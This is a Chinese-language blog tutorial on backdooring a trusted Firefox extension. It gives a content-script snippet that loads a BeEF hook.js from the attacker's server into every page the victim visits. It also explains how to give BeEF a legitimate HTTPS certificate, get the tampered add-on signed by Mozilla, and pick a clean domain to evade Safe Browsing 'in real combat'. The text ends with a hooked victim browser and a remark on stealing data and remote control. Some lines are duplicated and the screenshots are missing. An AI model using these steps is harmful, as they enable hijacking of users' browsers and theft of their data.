本文作者:hl0rey
贈送書籍:《黑客攻防:實戰加密與解密》
活動地址:陽春三月免費贈書啦
挿件的基本機构及其作用
1、manifest.json 這個檔是每個挿件都必須有的一個檔案(其他的檔案是可選的),它定義了挿件的所有的資訊,如許可權,要引入哪些腳本,包含哪些資源等等。
manifest.json
2、Background pages後臺執行的腳本,如果你的挿件需要有一個腳本檔案一直在後臺執行的話,這個腳本不在任何用戶的可見的頁簽裏運行,而是在瀏覽器為它創建的一個空白頁裏運行,所以它不能訪問別的網頁的DOM,所以用它沒法做js注入。
3、Content scripts直譯是內容腳本,我理解為對應某內容而運行的腳本。它可以操作對應的頁面的DOM,用它來注入js比較方便。
個人認為,後門注入到可信的程式裏就可以了,這也是一種比較理想的狀態,而不用自己開發一個很好的軟件,然後把後門加進去。所以,後邊這四項對於做後門並不重要,知道就好,主要是前面三項要理解。咱們只要改動可信的挿件,把咱們的腳本放進去就好了。
4、browser action files在工具列中添加按鈕
5、page action files在地址欄添加按鈕
6、options pages為用戶定義一個可瀏覽的UI介面,可以改變挿件的設定
7、web-accessible resources使打包好的內容可用於網頁與目錄腳本
beef與挿件後門結合
manifest.json
“matches”:[“<all_urls>”]這句表示要在所有的網站都注入js修改<all_urls>為其他的值,就只在特定網站注入。
hookyou.js
var oScript= document.createElement('script');oScript.src=“你的beef的hook.js”;document.body.appendChild(oScript);
var oScript= document.createElement('script');oScript.src=" 你的 beef 的hook.js";document.body.appendChild(oScript);
about:debugging
manifest.json
beef支持https
現在的瀏覽器是不允許在https的網頁引入http資源的(圖片除外),但是現在的知名網址,大都是https了,所以不能放弃劫持https的網站。那麼我們的beef就得支持https。
本地測試的話,很簡單,直接讓靶機信任證書就好了,但是要用到實戰就有些尷尬了。所以我們要用合法的證書,騰訊雲有免費的,申請也很快,可以自行申請。值得一提的是,需要把那幾個檔案提供給beef。
申請完畢之後,下載到本地解壓,其中有如下幾個檔案。
beef使用的web服務器軟件是apache,所以我們打開apache資料夾。
beef只需要檔案2和檔案3,先把beef原來的證書備份一下,然後把檔案2檔案3複製到beef證書的存訪位置,然後把檔案2改名為 beef_cert.pem,檔案3改名為 beef_key.pem。(我不懂密碼學,對這些證書檔案就不妄加論斷了,只說怎麼操作,hhhhh)
beef_cert.pem
beef_key.pem
然後修改設定檔,把此處 enable 項的值改為 true
enable
true
hookyou.js
然後修改某挿件的 manifest.json 檔案,讓它把 hookyou.js 當作 conten_script 引入。
manifest.json
hookyou.js
conten_script
狐挿件的必須要經過簽名才能安裝,否則會提示挿件損壞。
具體流程:挿件打包->上傳到附件組件開發者中心->通過校驗->下載已簽名挿件->安裝外掛程式
挿件打包
把挿件目錄下的檔案,用zip壓縮即可。注意是資料夾下的檔案,而不是壓縮整個資料夾。
打開資料夾,選中再壓縮。
下的步驟都很簡單,沒什麼注意的了,只要你的挿件不報錯,問題不大。
safe browsing
如果你的功能變數名稱被標識為含有惡意網站的話,在從你的網站加載js時,就會被safe browsing攔截,影響測試效果。具體的關閉方法是:
實戰時,你得找個乾淨的功能變數名稱。
Content-Security-Policy
也就是CSP頭,有個網址的相應包裏會有找個頭,通常就不能這麼直接的引入js了,所以有些網頁你雖然打開了,但是beef裏並沒有上線(除去網絡不好的原因),這是正常的。
不過我們也不用去繞過,挿件可以直接執行js,只是不能從外部引入網站不可信的js。
挿件測試
測試環境
win10
firefox 59.0.2(64比特)
首先安裝外掛程式後門到靶機的瀏覽器。貌似看起來跟正常的挿件沒什麼區別。
挿件貌似看起來跟正常的挿件沒什麼區別。
然後登入beef後臺,在靶機瀏覽器打開幾個網站,稍等一會。
這時我們看到,靶機上線了。
看一下靶機頁面原始程式碼。
執行個模塊試試
總結
經過駭客的手的東西都很危險啊,還是小心使用的好。
本文只是展示了用借助beef來實現攻擊,結合其他平臺也是一樣。
自己編寫後門程式碼更是優秀,火狐挿件有很多API,可以很方便的盜取資訊,實現遠程控制,奈何本人前端水准太差,只能在這抛磚引玉了。